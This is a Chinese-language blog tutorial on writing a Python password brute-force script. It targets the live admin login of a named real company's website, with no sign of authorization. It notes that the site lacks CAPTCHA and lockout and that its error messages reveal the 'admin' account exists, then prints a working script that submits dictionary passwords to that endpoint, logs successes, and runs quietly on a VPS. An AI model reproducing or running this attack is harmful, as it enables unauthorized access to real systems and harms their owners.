Python爆破工具编写

  • A+
所属分类:Python

爆破工具千千万,各种各样。但是基本上工具都是对应特定的情况,所以有的时候需要根据不同的情况编写一些爆破工具。我这里用一个简单的实例来讲解下爆破工具的编写原理,就是从我们收集的字典中依次提取数据,然后提交到目标地址,通过返回状态来判断爆破成功,希望能帮助到有需要的朋友。        

        例子中的网站是欧普照明的官网后台http://www.opple.com.cn/admin/,因为没有验证码和错误次数的限制,所以理论上是可以通过爆破的方式猜解出密码,而且在用户名和密码错误的时候提示信息也有不同,如图所示,说明admin用户是存在的。


    

        我们通过浏览器的开发者工具可以看到后台登陆的POST请求,然后根据这个请求来写我们的爆破工具。如下图所示。


        从图中可知,关键信息有两点,POST目标是http://www.opple.com.cn/admin/Login.do,提交的数据是action=login&name=admin&password=admin,我们需要变化的就是password字段,剩下的HTTP REQUEST信息我们在代码中可以直接使用图中的。
        提交信息我们已经知道了,还需要判断返回信息,用来区别是否爆破成功。继续看Chrome的开发者工具,如图所示,看到了“密码不正确”的返回信息,根据此信息,我们可以试试从页面的javascript中查找相关的信息。找到如图所示的内容,所以,我们只需要判断返回信息中是否包含字符1,就可以确定是否爆破成功。



        综合以上的信息,我们可以写出自己的爆破脚本,简单方便,源码和注释如下:

  1. #!/usr/bin/python

  2. #coding=UTF-8


  3. import httplib,urllib,time



  4. fdict=open("password.dic")                  #password.dic是你的字典文件,每行一条记录

  5. password='admin'                            #随便设置的初始密码

  6. while password:

  7.         password=fdict.readline()           #每次读取一行数据

  8.         time.sleep(1)                      #防止提交过快

  9.         httpClient=None


  10.         try:

  11.                 params=urllib.urlencode({'action':'login','name':'admin','password':password})         #这里就是我们刚刚通过chrome得到的字段,password作为变量。

  12.                #下面就是HTTP头的一些信息,从chrome中得到的,直接拿过来用

  13.                 headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "application/xml, text/xml, */*; q=0.01",'User-Agent':'Mozilla/5.0 AppleWebKit/537.36','Referer':'http://www.opple.com.cn/admin/'}

  14.                 httpClient = httplib.HTTPConnection("www.opple.com.cn", 80, timeout=30)

  15.                 httpClient.request("POST", "/admin/Login.do", params, headers)


  16.                 response = httpClient.getresponse()

  17.                 responseread=response.read()                                      #获取返回信息

  18.                 if 200 == response.status and -1 != responseread.find('1'):    #这里就是判断返回状态,HTTP 200代表访问成功,从返回的数据中查找字符1,判断是否成功

  19.                         fresult=open("result.log","a")

  20.                         fresult.write(password)

  21.                         fresult.close()

  22.         except Exception, e:

  23.                 print e

  24.         finally:

  25.                 if httpClient:

  26.                         httpClient.close()

  27. fdict.close()

复制代码

        爆破的关键在于字典的强大,所以大家平时要注意收集常用的字典,我们可以使用

nohup python baopo.py &

 


  命令(Linux下)在VPS上后台跑,偶尔去看看result.log文件中是否有信息就行了。通过上面的理解,我们可以举一反三。面对爆破,可以随时编写自己的爆破脚本。


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: